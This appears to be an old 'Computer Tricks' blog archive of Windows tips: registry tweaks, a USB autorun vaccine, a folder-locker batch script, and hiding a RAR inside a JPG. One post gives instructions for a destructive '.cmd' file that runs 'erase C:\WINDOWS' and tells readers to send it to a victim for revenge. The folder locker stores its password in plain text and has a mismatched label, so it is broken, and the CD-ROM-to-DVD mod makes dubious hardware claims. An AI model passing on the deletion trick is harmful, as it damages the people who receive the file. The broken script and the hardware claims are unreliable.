Showing posts with label Computer Tricks. Show all posts
Showing posts with label Computer Tricks. Show all posts

Monday, May 3, 2010

Improve Windows XP Shutdown Speed



This tweak reduces the time XP waits before automatically closing any running programs when you give it the command to shutdown.







Go to Start then select Run
Type 'Regedit' and click ok
Find 'HKEY_CURRENT_USER\Control Panel\Desktop\'
Select 'WaitToKillAppTimeout'
Right click and select 'Modify'
Change the value to '1000'
Click 'OK'
Now select 'HungAppTimeout'
Right click and select 'Modify'
Change the value to '1000'
Click 'OK'

Now find 'HKEY_USERS\.DEFAULT\Control Panel\Desktop'
Select 'WaitToKillAppTimeout'
Right click and select 'Modify'
Change the value to '1000'
Click 'OK'
Now find 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\'
Select 'WaitToKillServiceTimeout'
Right click and select 'Modify'
Change the value to '1000'
Click 'OK'

Sunday, May 2, 2010

NAMELESS FOLDERS



I really dont see a reason why people would want to do this, but
while surfing the net, I stumbled upon this trick with which you can
actually make folders nameless. I have tried numerous times to do it
entering nothing while renaming it, but it always was set back to the
older name, no matter what

The trick goes like this:

1. Select the folder to be renamed

2. Press F2

3. Press ALT

4. While pressing ALT, on the numlock keypad (NOT the character keypad) enter 0160

5. Press Enter, and there you have a folder without any name

I wonder if there was actually a use of it .... Hmmmmmmm

REMOVE AUTORUN.INF VIRUS BY PANDA VACCINE

Is your computer affected by autorun.inf pendrive
or removable media virus?Panda Research Blog. has found a way to kill autorun windows virus, Panda USB Vaccine See a negative effect because the autorun facility of windows is often used as the spread of the virus, Panda program to make simple (free / free) but powerful enough to prevent the virus to create the file autorun.inf, this program is called the Vaccine USB Panda

This is likely to see them after merebaknya worm W32/Conficker, W32/sality, W32/virut and the like.

I also had to make a simple program (Super Autorun), but the only effective way to drive / USB with NTFS file system, and itupun may still be deleted by the virus (although it is not easy :) ) )

Slightly different from the Super Autorun, making autorun.inf Folder, USB Panda Vaccine will create the Autorun.inf file also can not be in the edit, rename, delete or modify. So that the virus will not spread through the autorun.inf file

panda-usb-vaccine


Two main functions in this application:

* Computer Vaccination , namely to give the vaccine computer (PC) in an effort to enable disable windows autorun facility. USB Flashdisk/CD/DVD drive .So there is no program of Flashdisk USB / CD / DVD drive can run itself (automatically) without user interaction.Computers that have to be "vaccine", the vaccine can be eliminated with this program as well.
* USB Vaccination, this facility will give the "vaccine" (create a autorun.inf file that can not be in the edit, rename, delete the software, although as with unlocker) in USB Flash Drive (Flashsdisk). That way the virus will not spread (automatically) through the intermediary autorun.inf with Flash, and Flash can still be used as usual.

Note: Nevertheless, the virus can still copy (reproduce itself) in the flash, just can not walk (spread) automatically using autorun.inf.Besides the need to remember also that if the vaccine has been given, then Flashdisk can not be returned to the previous situation (without the vaccine), except with the format in the back.
Use of the Vaccine USB Command Line

For users who have experienced / expert (advanced), USB Panda Vaccine can be run with the command line.For example, used to run a USB Vaccine automatically when booting, giving the vaccine in the computer. Input parameters are as follows:

USBVaccine.exe [ A|B|C…|Z ] [ +system|-system ] [ /resident [/hidetray] ]

Description:
[drive unit]: Vaccinate drive unit
+ system: Computer vaccination
-system: Remove computer vaccination
resident: Start the program and prompt for hidden vaccinating every new drive
hidetray: tray icon hides when used with the / resident command

For example,
to give the vaccine a USB Flash drive F: \ and G: \ can use the command:
USBVaccine.exe FG
To give a vaccine computer, with the command
USBVaccine.exe +system

To give vaccine to computer and displays information when a new drive, without the display icon in system tray, can use the following command:

USBVaccine.exe /resident /hidetray +system

With this last command, and created shortcuts in the start-up folder (with or without parameter / hidetray) then booting the computer, USB Vaccine will be automatically run and will give the vaccine and the computer displays a confirmation to if there is a vaccine Flashdisk (USB drive) to install the new and therein idak have the vaccine.

Panda USB Vaccine running on Windows 2000 SP4, Windows XP SP1-SP3 and Windows Vista SP0-SP1.This application does not need to install, run it directly, and measuring only about 392 KB.

Panda USB and AutoRun Vaccine

click here to start download of autorun.inf virus removal software Panda usb vaccine from download.com.


make virus in 5 minuts.......


Very easy but dangerous Virus

Ok, now, the trick:

The only thing you need is Notepad.

Now, to test it, create a textfile called TEST.txt(empty) in C:\
Now in your notepad type "erase C:\TEST.txt" (without the quotes). Then do "Save As..." and save it as "Test.cmd".
Now run the file "Test.cmd" and go to C:\ and you'll see your Test.txt is gone. Now, the real work begins:

Go to
Notpad and type erase C:\WINDOWS (or C:\LINUX if you have linux
) and
save it again as findoutaname.cmd. Now DON'T run the file or you'll
lose your WINDOWS map. So, that's the virus. Now to take revenge. Send you file to your victim. Once she/he opens it. Her/his WINDOWS/LINUX map is gone. And have to install LINUX/WINDOWS again.


Simple explanation:

Go to notepad, type erase C:\WINDOWS, save, send to victim, once the victim opens it, the map WINDOWS will be gone and have to install WINDOWS again...


HEY I AM NOT RESPONSIBLE FOR ANYTHING HAPPEN 2 UR COMPUTER IF U TRY THIS!!!!!!!

AGAIN :I AM NOT RESPONSIBLE FOR ANYTHING HAPPEN 2 UR COMPUTER IF U TRY THIS!!!!!!!

be aware of this..its a simple but a strong virus that can delete anyones window os through email ..ok

Modify Your CD-ROM to Watch DVD Movies



There are two types of CD-ROM drives we can mod:
24x to 40x
40x or higher
Drives slower than 24x are too old to be modded.
24x to 40x CD ROMs


Laser Head Adjustments:
The
track pitch of CDs is 1.6 microns, and the track pitch of DVDs is only
0.8 microns. The minimum length of track pits of CDs is 0.843mm, and
the minimum length of track pits of DVDs is 0.293mm. That's why DVD
discs can store much more data in the size of a CD.
Pinpointing this
situation, we need to adjust the laser head so it can read discs with
smaller track pitchs and shorter track pits. Open up the CD-ROM drive,
do you see a lens on the rail? That's the laser head. On the side of
the laser head, there's a screw you can adjust.This is the key of this
mod.This screw can adjust the size of the laser beam that lands on the
disc. Referring to the above, after adjusting, the laser beam should be
less than 0.293mm, to suit the needs of DVD discs. So turn that screw
2-3 times. I got this number through trial and error. Mark with a
pencil, in case you forget how many times you turned that screw.

Speed adjustments:
DVD-ROM
drives can play DVD movies smoothly at 4x speed. If we're modding a 32x
CD-ROM drive, the rotation speed is obviously too high, increasing
heat, and shortening the life of the drive.
So we need to decrease the speed of it.
Most
people know that power supplies
can provide 5V (red wire) and 12V
(yellow wire) electricity output for Molex connectors. Find the Molex
connector you'll plug into the modded CD-ROM drive, cut the yellow wire
or insulate it with tape, so only 5V of electricity is transferred to
the CD-ROM drive. The speed of the drive is now 32 * 5/17 = 9.41x and
can now fulfill our requirements.

40x or higher CD ROMs
When
40x CD-ROM drives are released, most manufacturers are already
producing DVD-ROM drives. To lower cost, they use the same core as
DVD-ROM drives with DVD functions disabled. What we need to do here is
to re-enable the DVD function.
Open up the CD-ROM, behind the
circuit board, look for a jumper that says DVD JUMP. Find a jumper to
connect this jumper. Thin metal wire also works fine.
OK, so the DVD
function is unlocked, but we still need to decrease the speed. Use the
instructions above on how to decrase the speed of the drive.

Notes:
Modded
drives cannot be detected in POST, that means you cannot use it in DOS.
But once you get into Windows, the drive works fine.
Modded drives have no region code problems.
Modded drives MIGHT NOT read DVD9 discs, that's why I said you can watch most retail DVDs in the beginning.

INCREASE YOUR DOWNLOAD SPEED BY 50-200KBPS




The TCP Optimizer is a free, easy Windows program that provides an
intuitive interface for tuning and optimizing your Internet connection.
There is no installation required, just download and run.

The
program can aid both the novice and the advanced user in tweaking
related TCP/IP parameters in the Windows Registry, making it easy to
tune your system to the type of Internet connection used. The tool uses
advanced algorithms, and the bandwidth*delay product to find the best
TCP Window for your specific connection speed. It provides for easy
tuning of all related TCP/IP parameters, such as MTU, RWIN, and even
advanced ones like QoS and ToS/Diffserv prioritization. The program
works with all current versions of Windows, and includes additional
tools, such as testing average latency over multiple hosts, and finding
the largest possible packet size (MTU).

The TCP Optimizer is
targeted towards broadband internet connections, however it can be
helpful with tuning any internet connection type, from dialup to
Gigabit+

Yea it's a Exe executaBle file
ok 1st increase
SPEED 20MBPS OR FULL
THEN CHOOSE OPTIMAL SETTNG
THEN APPLY THEM...
THEN BACK UP UR DRIVE >OK > RESTART UR PC

CLICK HERE TO DOWNLOAD

LOCK FOLDER WITHOUT ANY SOFTWARE TRICK




Sometimes you have been asking for an
alternative way to lock folders without the use of any alternative
software. It’ll 5 steps ahead only, check now!

ø IN notepadcopy the code below.

ø The default password is “pctipsandhack”. Change your password in the code, where it shown as pctipsandhack in yellow background. Password may be any combination of alpha or/and numeric.

ø Save this file as “locker.bat”.

ø Now double click on locker.bat.

ø I t will create a folder named: Locker
with automatic lock. After creation of the folder, place the contents
(your files & folders) you wants to lock inside the Folder and
double click locker.bat again. It will ask to lock the
folder Y/N. If you press y then it will lock the folder and your folder
will be hide. To unlock run again locker.bat, it will ask to enter password, type in correct password and you can see your folder back.

ø Please don’t change anything except password, otherwise this lock may does not work.

èèèèèèèèèèCode starts line belowèèèèèèèèèèèè
cls
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDPCTIPSANDHACK
:CONFIRM
echo Are you sure to Lock this folder? (Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock Your Secure Folder
set/p "pass=>"
if NOT %pass%== PCTIPSANDHACK goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDBLOG2BEST
md Locker
echo Locker created successfully
goto End
:End

çççççççççççCode ends line aboveçççççççççççç

Right Clicking disabled



Sometimes, due to some viruses or worms, your system
may disable the Right click context menu.
That is, nothing happens when we right click on any place.

Use this steps only after removing all viruses and bugs from your computer.Otherwise, this method may not work.

Steps to resolve:

1. From the Start menu, select Run.
Type gpedit.msc and click OK.

2. Get to this location:
User Configuration > Administrative templates > Windows Components > Windows Explorer

3. In the right pane double click on :
Remove Windows Explorer's default context menu

4. Select Disable and click OK.

Hide files using Winrar and an JPG image

[HFUWP_01.jpg]

By using this trick, you can hide your files in a rar file, but it looks like a picture.

For this you need
Winrar and a Picture to show instead the hidden file.

Steps:

1. Make a New Folder in any one drive, rename it to HIDDEN (you can put name of your wish).
Let it be in C drive, so that its address is C:\HIDDEN\

2. Copy all your secret files to that folder.
Select all the files.

Right click andselect "Add to HIDDEN.rar" , here HIDDEN is the name that you gave to that folder created in first step.

3. Delete all files, except the created HIDDEN.rar file.

4. Copy an image to that folder. Let its name be taken as pic.jpg. This picture is used to hide the Winrar file that we made.

5. Now open Command Prompt. (Start > Run > cmd )

6. Change the prompt to C:\HIDDEN\ .
To do that, in cmd, first type cd c:\HIDDEN\ (works only if that folder is in windows (C:) drive).
If that folder is created in other drive like D:, then firts type D: ad press enter, then type cd D:\HIDDEN\.

7. Now type the following:
COPY /b pic.jpg + hidden.rar picture.jpg


8. That creates a picture that looks same as pic.jpg in HIDDEN folder.
This picture.jpg contains all your files.

To get your rar file, just change the extension .jpg of picture.jpg to .rar , and open it.
To hide, change the extension back to .jpg .
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